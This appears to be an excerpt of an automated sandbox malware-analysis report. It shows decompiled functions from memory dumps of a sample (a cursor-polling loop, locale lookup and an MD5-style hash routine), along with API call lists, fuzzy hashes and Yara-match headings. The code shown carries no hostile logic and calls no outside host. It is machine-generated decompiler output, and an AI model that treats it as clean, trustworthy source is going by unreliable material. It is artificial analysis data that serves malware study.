Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFormatLastMessage
String ID: \K9
API String ID: 3479602957-3597602816
Opcode ID: ddf0ffbcf79fcdd3a37060aba42bcba793ccfdc69ee49840c8f589acfb249fd6
Instruction ID: 514c498c3c601d5332a23547b6bf4d9dbf32b8a5f5467a747e7f63f4650d5b58
Opcode Fuzzy Hash: ddf0ffbcf79fcdd3a37060aba42bcba793ccfdc69ee49840c8f589acfb249fd6
Instruction Fuzzy Hash: 7B0184706043055BEB27FB708D92FEA73ADEB09704F5100F1B6449A5C2DAB0EE848A25

Uniqueness

Uniqueness Score: -1.00%

Function 0234F920, Relevance: 4.5, APIs: 3, Instructions: 45nativethreadCOMMON

Download Yara Rule

APIs

NtQueryInformationThread.NTDLL(?,00000000,?,0000001C,00000000), ref: 0234F934
GetLastError.KERNEL32(?,?,?,0000001C,?), ref: 0234F974
RtlNtStatusToDosError.NTDLL(00000000), ref: 0234F97D

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Error$InformationLastQueryStatusThread
String ID:
API String ID: 2450163249-0
Opcode ID: deba5031b6a2e2f8334b319592863f61014686226f51f6d228546d7e2f3185e2
Instruction ID: 36ba11d1e60f3437401064eeafc274045545e5a2935d2ce471ea49b60bfb6d79
Opcode Fuzzy Hash: deba5031b6a2e2f8334b319592863f61014686226f51f6d228546d7e2f3185e2
Instruction Fuzzy Hash: 4B012875940208FBEB10AAA5DD08EEEBBFEEB89700F040464F941E2050EB64E914DB60

Uniqueness

Uniqueness Score: -1.00%

Function 003B8940, Relevance: 4.5, APIs: 3, Instructions: 33
synchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003B8940() {
				struct tagPOINT _v12;
				void* _t5;
				long _t6;

				 *0x3dbb2c = GetCurrentThreadId();
				L5:
				_t5 =  *0x3dbb30; // 0x0
				_t6 = WaitForSingleObject(_t5, 0x64);
				if(_t6 == 0x102) {
					if( *0x3dbb1c != 0 &&  *((intOrPtr*)( *0x3dbb1c + 0x60)) != 0) {
						GetCursorPos( &_v12);
						if(E003C6F48( &_v12) == 0) {
							E003BAC30( *0x3dbb1c);
						}
					}
					goto L5;
				}
				return _t6;
			}

0x003b8951
0x003b8981
0x003b8983
0x003b8989
0x003b8993
0x003b895b
0x003b8969
0x003b8978
0x003b897c
0x003b897c
0x003b8978
0x00000000
0x003b895b
0x003b8999

APIs

GetCurrentThreadId.KERNEL32 ref: 003B894C
GetCursorPos.USER32(?), ref: 003B8969
WaitForSingleObject.KERNEL32(00000000,00000064), ref: 003B8989

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentCursorObjectSingleThreadWait
String ID:
API String ID: 1359611202-0
Opcode ID: 8dffa3e9f4c12265b1cd50e727b5e1a1d6f98f29fa77a20b9e32b2b0ce51495d
Instruction ID: 476a0a2a0f8bd0ab8e472ceb0867fad17c7dd1be1cfa2fc9be74524af6ff96e6
Opcode Fuzzy Hash: 8dffa3e9f4c12265b1cd50e727b5e1a1d6f98f29fa77a20b9e32b2b0ce51495d
Instruction Fuzzy Hash: AFF05E71908309DBDF13A7A8E886BA5B39CAB10354F4505A6E610CE5A6EF729940C716

Uniqueness

Uniqueness Score: -1.00%

Function 003CDFF0, Relevance: 3.1, APIs: 2, Instructions: 63
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003CDFF0(intOrPtr* __eax, intOrPtr __edx) {
				intOrPtr _v8;
				void* __ecx;
				void* _t25;
				intOrPtr* _t31;
				void* _t34;
				intOrPtr* _t37;
				void* _t45;

				_v8 = __edx;
				_t37 = __eax;
				if(( *(_v8 + 4) & 0x0000fff0) != 0xf100 ||  *((short*)(_v8 + 8)) == 0x20 ||  *((short*)(_v8 + 8)) == 0x2d || IsIconic( *(__eax + 0x180)) != 0 || GetCapture() != 0) {
					L8:
					if(( *(_v8 + 4) & 0x0000fff0) != 0xf100) {
						L10:
						return  *((intOrPtr*)( *_t37 - 0x10))();
					}
					_t25 = E003CDF40(_t37, _t45);
					if(_t25 == 0) {
						goto L10;
					}
				} else {
					_t31 =  *0x3da0b4; // 0x3dbb1c
					_t9 =  *_t31 + 0x44; // 0x0
					if(_t37 ==  *_t9) {
						goto L8;
					} else {
						_t34 = E003B147C(_t37);
						_t44 = _t34;
						if(_t34 == 0) {
							goto L8;
						} else {
							_t25 = E003C9884(_t44, 0, 0xb017, _v8);
							if(_t25 == 0) {
								goto L8;
							}
						}
					}
				}
				return _t25;
			}

0x003cdff6
0x003cdff9
0x003ce00b
0x003ce069
0x003ce079
0x003ce088
0x00000000
0x003ce08f
0x003ce07e
0x003ce086
0x00000000
0x00000000
0x003ce03a
0x003ce03a
0x003ce041
0x003ce044
0x00000000
0x003ce046
0x003ce048
0x003ce04d
0x003ce051
0x00000000
0x003ce053
0x003ce060
0x003ce067
0x00000000
0x00000000
0x003ce067
0x003ce051
0x003ce044
0x003ce096

APIs

IsIconic.USER32(?), ref: 003CE028
GetCapture.USER32 ref: 003CE031

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: 8597af2b544dd3f2185e27bfd152b428c495cbcc812dd48e3c0db0717d72617b
Instruction ID: 2f99cc8cf02f951fba028041114cb1625e4579f03d021978630d96c39cfdcac6
Opcode Fuzzy Hash: 8597af2b544dd3f2185e27bfd152b428c495cbcc812dd48e3c0db0717d72617b
Instruction Fuzzy Hash: A5118232700615DBDB22DBAAD985F7973E8AF04304F6640B9E804CB652D7B5DD008790

Uniqueness

Uniqueness Score: -1.00%

Function 0235FA3B, Relevance: 3.0, APIs: 2, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000005,00000000,00010000,00010000), ref: 0235FA6C
RtlNtStatusToDosError.NTDLL(C000009A), ref: 0235FAA3

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorFreeHeapInformationQueryStatusSystem
String ID:
API String ID: 2533303245-0
Opcode ID: ee14ce833ab7723bc7389822736c566084dc101e784f4b40db476fd9e861c58e
Instruction ID: 919c85dfb0f6cf2677bf384dd75eb7c2db873b896638d17228b6271c6ac14012
Opcode Fuzzy Hash: ee14ce833ab7723bc7389822736c566084dc101e784f4b40db476fd9e861c58e
Instruction Fuzzy Hash: 1101D632902671ABDB319A55C908EAFBA6D9F47B54F024114FD4967520E7708E50CEE2

Uniqueness

Uniqueness Score: -1.00%

Function 0038C3B0, Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0038C3B0(int __eax, void* __ebx, void* __eflags) {
				char _v11;
				char _v16;
				intOrPtr _t28;
				void* _t31;
				void* _t33;

				_t33 = __eflags;
				_v16 = 0;
				_push(_t31);
				_push(0x38c414);
				_push( *[fs:edx]);
				 *[fs:edx] = _t31 + 0xfffffff4;
				GetLocaleInfoA(__eax, 0x1004,  &_v11, 7);
				E0038412C( &_v16, 7,  &_v11);
				_push(_v16);
				E003881AC(7, GetACP(), _t33);
				_pop(_t28);
				 *[fs:eax] = _t28;
				_push(E0038C41B);
				return E00383EBC( &_v16);
			}

0x0038c3b0
0x0038c3b9
0x0038c3be
0x0038c3bf
0x0038c3c4
0x0038c3c7
0x0038c3d6
0x0038c3e6
0x0038c3ee
0x0038c3f7
0x0038c400
0x0038c403
0x0038c406
0x0038c413

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,0038C414), ref: 0038C3D6
GetACP.KERNEL32(?,?,00001004,?,00000007,00000000,0038C414), ref: 0038C3EF

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d30d98f36ce90cca0f60dd5e46660a2bdbfa14e6ad9b33548a9a29eb18fce9ca
Instruction ID: 2914b6d96c2935349faaf0351da2db8b739fd4082119d08a85a35e443866afa7
Opcode Fuzzy Hash: d30d98f36ce90cca0f60dd5e46660a2bdbfa14e6ad9b33548a9a29eb18fce9ca
Instruction Fuzzy Hash: 87F09671E083046FEB02FBB2DC5299DB36ED7C5714F50C8F5B510DB681EA7465048760

Uniqueness

Uniqueness Score: -1.00%

Function 02355348, Relevance: 3.0, APIs: 2, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 02355367
NtQueryInformationProcess.NTDLL(00000000,00000000,?,00000018,00000000), ref: 0235537F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: InformationProcessQuerymemset
String ID:
API String ID: 2040988606-0
Opcode ID: 67cfe5ce825d34974268748b524d370f1c7dadeed0084ca449df0a9fcb3b05e9
Instruction ID: a705190085f938020018ba16c7567251dddae8367b7ef934c06defb90f4e04b6
Opcode Fuzzy Hash: 67cfe5ce825d34974268748b524d370f1c7dadeed0084ca449df0a9fcb3b05e9
Instruction Fuzzy Hash: 67F068B290022CBADF20DA90CC05FDE7B7CEB04740F4040A1EE08E2080D770EB54CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 023534F7, Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL(00000000), ref: 0235352F
SetLastError.KERNEL32(00000000), ref: 02353536

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Error$LastStatus
String ID:
API String ID: 4076355890-0
Opcode ID: 16d5aa662f9ecff0f0e58d9bd7a981cd741933a9564c08520b2562cdf5cb58a0
Instruction ID: e66b7de76d99fe2fba70fb411f78c2b19f4ec1ae723cd0dee530aa9ce4ed064d
Opcode Fuzzy Hash: 16d5aa662f9ecff0f0e58d9bd7a981cd741933a9564c08520b2562cdf5cb58a0
Instruction Fuzzy Hash: 76F0FEB1950309FBEB05DB95D91AFAEB6BCAB04755F104488F604A6080EBB4EB14DB68

Uniqueness

Uniqueness Score: -1.00%

Function 02355903, Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL(C0000002), ref: 02355930
SetLastError.KERNEL32(00000000,?,0235E63C,?,?,?,00000004,?,00000000,0236710C,?,00000000), ref: 02355937

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Error$LastStatus
String ID:
API String ID: 4076355890-0
Opcode ID: 62565a83a4d2f259c45168ba33937d6dec37fe09fae3e1ba270242b7d1abf744
Instruction ID: 9fae24d26fb148e8dfb541ee1f7e598e5f0e6f47b6716cc4fb2440db4c1b3c4d
Opcode Fuzzy Hash: 62565a83a4d2f259c45168ba33937d6dec37fe09fae3e1ba270242b7d1abf744
Instruction Fuzzy Hash: 94E01A7264022AABCF025EE8DC09D8A7B6DEB087A1B408410FE05C2120D735D8719BA1

Uniqueness

Uniqueness Score: -1.00%

Function 023466A5, Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL(C0000002), ref: 023466D2
SetLastError.KERNEL32(00000000,?,?,02341F27,?,?,?,00000318,?), ref: 023466D9

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Error$LastStatus
String ID:
API String ID: 4076355890-0
Opcode ID: e1c4720f1648984898a448725261e5583ec9f3272e9a56be275f19c2c38e3d3a
Instruction ID: 724a0562dae4db042d5646267ac142e807656a04f01175172255048e65dafeb0
Opcode Fuzzy Hash: e1c4720f1648984898a448725261e5583ec9f3272e9a56be275f19c2c38e3d3a
Instruction Fuzzy Hash: 15E0927254426AABCF115FE8DC09D9A7B9DAB09755B008454FA01D6121CB35D8719FA0

Uniqueness

Uniqueness Score: -1.00%

Function 0039E8EB, Relevance: 2.8, Strings: 2, Instructions: 304COMMON

Download Yara Rule

Strings

u9, xrefs: 0039EAFC
u9, xrefs: 0039E9B8

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: u9$u9
API String ID: 0-1211810830
Opcode ID: c01a65900c78dadc63cf0d5ec80c315a1b43c1d965b8914f382b937d700d9a0e
Instruction ID: d8b8a358f4c3805108282319a00c54d6bd3af2a5f2072c6b9a346c46d9bf4d41
Opcode Fuzzy Hash: c01a65900c78dadc63cf0d5ec80c315a1b43c1d965b8914f382b937d700d9a0e
Instruction Fuzzy Hash: FEA1E06284E3C9AFDB238B3848752A17FB6AE1721478E05DBC4C18F1B7D214588BD367

Uniqueness

Uniqueness Score: -1.00%

Function 0047936B, Relevance: 1.9, APIs: 1, Instructions: 610
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E0047936B(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t274;
				signed int _t337;
				void* _t347;
				signed int _t348;
				signed int _t350;
				signed int _t352;
				signed int _t354;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t366;
				signed int _t375;
				signed int _t377;
				signed int _t379;
				signed int _t381;
				signed int _t383;
				intOrPtr* _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t417;
				signed int _t419;
				signed int _t421;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t443;
				signed int _t445;
				void* _t447;
				signed int _t507;
				signed int _t598;
				signed int _t606;
				signed int _t612;
				signed int _t678;
				signed int* _t681;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				signed int _t691;
				signed int _t696;
				signed int _t698;
				signed int _t717;
				signed int _t719;
				signed int _t721;
				signed int _t723;
				signed int _t725;
				signed int _t727;
				signed int _t733;
				signed int _t739;
				signed int _t741;
				signed int _t743;
				signed int _t745;
				signed int _t747;

				_t226 = _a4;
				_t347 = __ecx + 2;
				_t681 =  &_v76;
				_t447 = 0x10;
				do {
					_t274 =  *(_t347 - 1) & 0x000000ff;
					_t347 = _t347 + 4;
					 *_t681 = (0 << 0x00000008 | _t274) << 0x00000008 |  *(_t347 - 6) & 0x000000ff;
					_t681 =  &(_t681[1]);
					_t447 = _t447 - 1;
				} while (_t447 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t682 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t407 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t348 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t682 & _t348 | _t407 & _t682) + _v76 +  *_t226 - 0x28955b88 + _t682;
				asm("rol ecx, 0xc");
				_t350 = ( !_t229 & _t407 | _t682 & _t229) + _v72 + _t348 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t409 = ( !_t350 & _t682 | _t350 & _t229) + _v68 + _t407 + 0x242070db + _t350;
				asm("ror esi, 0xa");
				_t684 = ( !_t409 & _t229 | _t350 & _t409) + _v64 + _t682 - 0x3e423112 + _t409;
				_v8 = _t684;
				_t689 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t684 & _t350 | _t409 & _v8) + _v60 + _t229 - 0xa83f051 + _t689;
				asm("rol ecx, 0xc");
				_t352 = ( !_t231 & _t409 | _t689 & _t231) + _v56 + _t350 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t411 = ( !_t352 & _t689 | _t352 & _t231) + _v52 + _t409 - 0x57cfb9ed + _t352;
				asm("ror esi, 0xa");
				_t691 = ( !_t411 & _t231 | _t352 & _t411) + _v48 + _t689 - 0x2b96aff + _t411;
				_v8 = _t691;
				_t696 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t691 & _t352 | _t411 & _v8) + _v44 + _t231 + 0x698098d8 + _t696;
				asm("rol ecx, 0xc");
				_t354 = ( !_t233 & _t411 | _t696 & _t233) + _v40 + _t352 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t413 = ( !_t354 & _t696 | _t354 & _t233) + _v36 + _t411 - 0xa44f + _t354;
				asm("ror esi, 0xa");
				_t698 = ( !_t413 & _t233 | _t354 & _t413) + _v32 + _t696 - 0x76a32842 + _t413;
				_v8 = _t698;
				asm("rol eax, 0x7");
				_t235 = ( !_t698 & _t354 | _t413 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t356 = ( !_t235 & _t413 | _v8 & _t235) + _v24 + _t354 - 0x2678e6d + _t235;
				_t507 =  !_t356;
				asm("ror edx, 0xf");
				_t415 = (_t507 & _v8 | _t356 & _t235) + _v20 + _t413 - 0x5986bc72 + _t356;
				_v12 = _t415;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t717 = (_v12 & _t235 | _t356 & _t415) + _v16 + _v8 + 0x49b40821 + _t415;
				asm("rol eax, 0x5");
				_t237 = (_t507 & _t415 | _t356 & _t717) + _v72 + _t235 - 0x9e1da9e + _t717;
				asm("rol ecx, 0x9");
				_t358 = (_v12 & _t717 | _t415 & _t237) + _v52 + _t356 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t417 = ( !_t717 & _t237 | _t358 & _t717) + _v32 + _t415 + 0x265e5a51 + _t358;
				asm("ror esi, 0xc");
				_t719 = ( !_t237 & _t358 | _t417 & _t237) + _v76 + _t717 - 0x16493856 + _t417;
				asm("rol eax, 0x5");
				_t239 = ( !_t358 & _t417 | _t358 & _t719) + _v56 + _t237 - 0x29d0efa3 + _t719;
				asm("rol ecx, 0x9");
				_t360 = ( !_t417 & _t719 | _t417 & _t239) + _v36 + _t358 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t419 = ( !_t719 & _t239 | _t360 & _t719) + _v16 + _t417 - 0x275e197f + _t360;
				asm("ror esi, 0xc");
				_t721 = ( !_t239 & _t360 | _t419 & _t239) + _v60 + _t719 - 0x182c0438 + _t419;
				asm("rol eax, 0x5");
				_t241 = ( !_t360 & _t419 | _t360 & _t721) + _v40 + _t239 + 0x21e1cde6 + _t721;
				asm("rol ecx, 0x9");
				_t362 = ( !_t419 & _t721 | _t419 & _t241) + _v20 + _t360 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t421 = ( !_t721 & _t241 | _t362 & _t721) + _v64 + _t419 - 0xb2af279 + _t362;
				asm("ror esi, 0xc");
				_t723 = ( !_t241 & _t362 | _t421 & _t241) + _v44 + _t721 + 0x455a14ed + _t421;
				asm("rol eax, 0x5");
				_t243 = ( !_t362 & _t421 | _t362 & _t723) + _v24 + _t241 - 0x561c16fb + _t723;
				asm("rol ecx, 0x9");
				_t364 = ( !_t421 & _t723 | _t421 & _t243) + _v68 + _t362 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t423 = ( !_t723 & _t243 | _t364 & _t723) + _v48 + _t421 + 0x676f02d9 + _t364;
				asm("ror esi, 0xc");
				_t725 = ( !_t243 & _t364 | _t423 & _t243) + _v28 + _t723 - 0x72d5b376 + _t423;
				asm("rol eax, 0x4");
				_t245 = (_t364 ^ _t423 ^ _t725) + _v56 + _t243 - 0x5c6be + _t725;
				asm("rol ecx, 0xb");
				_t366 = (_t423 ^ _t725 ^ _t245) + _v44 + _t364 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t425 = (_t366 ^ _t725 ^ _t245) + _v32 + _t423 + 0x6d9d6122 + _t366;
				_t598 = _t366 ^ _t425;
				asm("ror esi, 0x9");
				_t727 = (_t598 ^ _t245) + _v20 + _t725 - 0x21ac7f4 + _t425;
				asm("rol eax, 0x4");
				_t247 = (_t598 ^ _t727) + _v72 + _t245 - 0x5b4115bc + _t727;
				asm("rol edi, 0xb");
				_t606 = (_t425 ^ _t727 ^ _t247) + _v60 + _t366 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t427 = (_t606 ^ _t727 ^ _t247) + _v48 + _t425 - 0x944b4a0 + _t606;
				_t337 = _t606 ^ _t427;
				asm("ror ecx, 0x9");
				_t375 = (_t337 ^ _t247) + _v36 + _t727 - 0x41404390 + _t427;
				asm("rol eax, 0x4");
				_t249 = (_t337 ^ _t375) + _v24 + _t247 + 0x289b7ec6 + _t375;
				asm("rol esi, 0xb");
				_t733 = (_t427 ^ _t375 ^ _t249) + _v76 + _t606 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t612 = (_t733 ^ _t375 ^ _t249) + _v64 + _t427 - 0x2b10cf7b + _t733;
				_t429 = _t733 ^ _t612;
				asm("ror ecx, 0x9");
				_t377 = (_t429 ^ _t249) + _v52 + _t375 + 0x4881d05 + _t612;
				asm("rol eax, 0x4");
				_t251 = (_t429 ^ _t377) + _v40 + _t249 - 0x262b2fc7 + _t377;
				asm("rol edx, 0xb");
				_t437 = (_t612 ^ _t377 ^ _t251) + _v28 + _t733 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t739 = (_t437 ^ _t377 ^ _t251) + _v16 + _t612 + 0x1fa27cf8 + _t437;
				asm("ror ecx, 0x9");
				_t379 = (_t437 ^ _t739 ^ _t251) + _v68 + _t377 - 0x3b53a99b + _t739;
				asm("rol eax, 0x6");
				_t253 = (( !_t437 | _t379) ^ _t739) + _v76 + _t251 - 0xbd6ddbc + _t379;
				asm("rol edx, 0xa");
				_t439 = (( !_t739 | _t253) ^ _t379) + _v48 + _t437 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t741 = (( !_t379 | _t439) ^ _t253) + _v20 + _t739 - 0x546bdc59 + _t439;
				asm("ror ecx, 0xb");
				_t381 = (( !_t253 | _t741) ^ _t439) + _v56 + _t379 - 0x36c5fc7 + _t741;
				asm("rol eax, 0x6");
				_t255 = (( !_t439 | _t381) ^ _t741) + _v28 + _t253 + 0x655b59c3 + _t381;
				asm("rol edx, 0xa");
				_t441 = (( !_t741 | _t255) ^ _t381) + _v64 + _t439 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t743 = (( !_t381 | _t441) ^ _t255) + _v36 + _t741 - 0x100b83 + _t441;
				asm("ror ecx, 0xb");
				_t383 = (( !_t255 | _t743) ^ _t441) + _v72 + _t381 - 0x7a7ba22f + _t743;
				asm("rol eax, 0x6");
				_t257 = (( !_t441 | _t383) ^ _t743) + _v44 + _t255 + 0x6fa87e4f + _t383;
				asm("rol edx, 0xa");
				_t443 = (( !_t743 | _t257) ^ _t383) + _v16 + _t441 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t745 = (( !_t383 | _t443) ^ _t257) + _v52 + _t743 - 0x5cfebcec + _t443;
				asm("ror edi, 0xb");
				_t678 = (( !_t257 | _t745) ^ _t443) + _v24 + _t383 + 0x4e0811a1 + _t745;
				asm("rol eax, 0x6");
				_t259 = (( !_t443 | _t678) ^ _t745) + _v60 + _t257 - 0x8ac817e + _t678;
				asm("rol edx, 0xa");
				_t445 = (( !_t745 | _t259) ^ _t678) + _v32 + _t443 - 0x42c50dcb + _t259;
				_t399 = _a4;
				asm("rol esi, 0xf");
				_t747 = (( !_t678 | _t445) ^ _t259) + _v68 + _t745 + 0x2ad7d2bb + _t445;
				 *_t399 =  *_t399 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t399 + 4)) = (( !_t259 | _t747) ^ _t445) + _v40 + _t678 - 0x14792c6f +  *((intOrPtr*)(_t399 + 4)) + _t747;
				 *((intOrPtr*)(_t399 + 8)) =  *((intOrPtr*)(_t399 + 8)) + _t747;
				 *((intOrPtr*)(_t399 + 0xc)) =  *((intOrPtr*)(_t399 + 0xc)) + _t445;
				return memset( &_v76, 0, 0x40);
			}

0x0047936e
0x00479379
0x0047937c
0x0047937f
0x00479380
0x00479380
0x0047938b
0x0047939c
0x0047939e
0x004793a1
0x004793a1
0x004793a4
0x004793a4
0x004793a7
0x004793a7
0x004793aa
0x004793aa
0x004793c7
0x004793ca
0x004793e0
0x004793e3
0x004793fd
0x00479400
0x00479416
0x00479419
0x0047941b
0x00479433
0x00479436
0x00479439
0x00479451
0x00479454
0x0047946e
0x00479471
0x00479487
0x0047948a
0x0047948c
0x004794a4
0x004794a9
0x004794ac
0x004794c2
0x004794c5
0x004794df
0x004794e2
0x004794f8
0x004794fb
0x004794fd
0x00479518
0x0047951b
0x00479532
0x00479535
0x00479539
0x00479552
0x00479555
0x00479557
0x0047955a
0x00479575
0x00479578
0x00479591
0x00479594
0x004795a4
0x004795a7
0x004795bf
0x004795c2
0x004795dc
0x004795df
0x004795f7
0x004795fa
0x00479610
0x00479613
0x0047962b
0x0047962e
0x00479646
0x00479649
0x00479663
0x00479666
0x0047967c
0x0047967f
0x00479697
0x0047969a
0x004796b4
0x004796b7
0x004796cf
0x004796d2
0x004796e8
0x004796eb
0x00479703
0x00479706
0x0047971e
0x00479721
0x00479733
0x00479736
0x00479748
0x0047974b
0x0047975d
0x00479760
0x00479764
0x00479774
0x00479777
0x00479785
0x00479788
0x0047979a
0x0047979d
0x004797b1
0x004797b4
0x004797b6
0x004797c6
0x004797c9
0x004797db
0x004797de
0x004797ec
0x004797ef
0x00479801
0x00479804
0x00479808
0x00479818
0x0047981b
0x0047982d
0x00479830
0x0047983e
0x00479841
0x00479853
0x00479856
0x00479868
0x0047986b
0x0047987f
0x00479882
0x00479896
0x00479899
0x004798ad
0x004798b0
0x004798c4
0x004798c7
0x004798db
0x004798de
0x004798f2
0x004798f7
0x00479909
0x0047990c
0x00479920
0x00479923
0x00479937
0x0047993a
0x00479950
0x00479953
0x00479967
0x0047996a
0x0047997c
0x0047997f
0x00479993
0x00479996
0x004799aa
0x004799ad
0x004799c1
0x004799ca
0x004799cd
0x004799d6
0x004799df
0x004799e7
0x004799ef
0x004799f9
0x00479a0e

APIs

memset.NTDLL ref: 00479A02

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 641cfaae3bd60cfb6f536e607d1dbb929b13bbc7d5e3aa3887d0becdc74c8cf0
Instruction ID: acb08ea0fc0fa78101f0f21636a550d167d6f53dffe1cf3dd7921a8a84325c81
Opcode Fuzzy Hash: 641cfaae3bd60cfb6f536e607d1dbb929b13bbc7d5e3aa3887d0becdc74c8cf0
Instruction Fuzzy Hash: 9D22847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 0235F395, Relevance: 1.9, APIs: 1, Instructions: 610COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0235FA2C

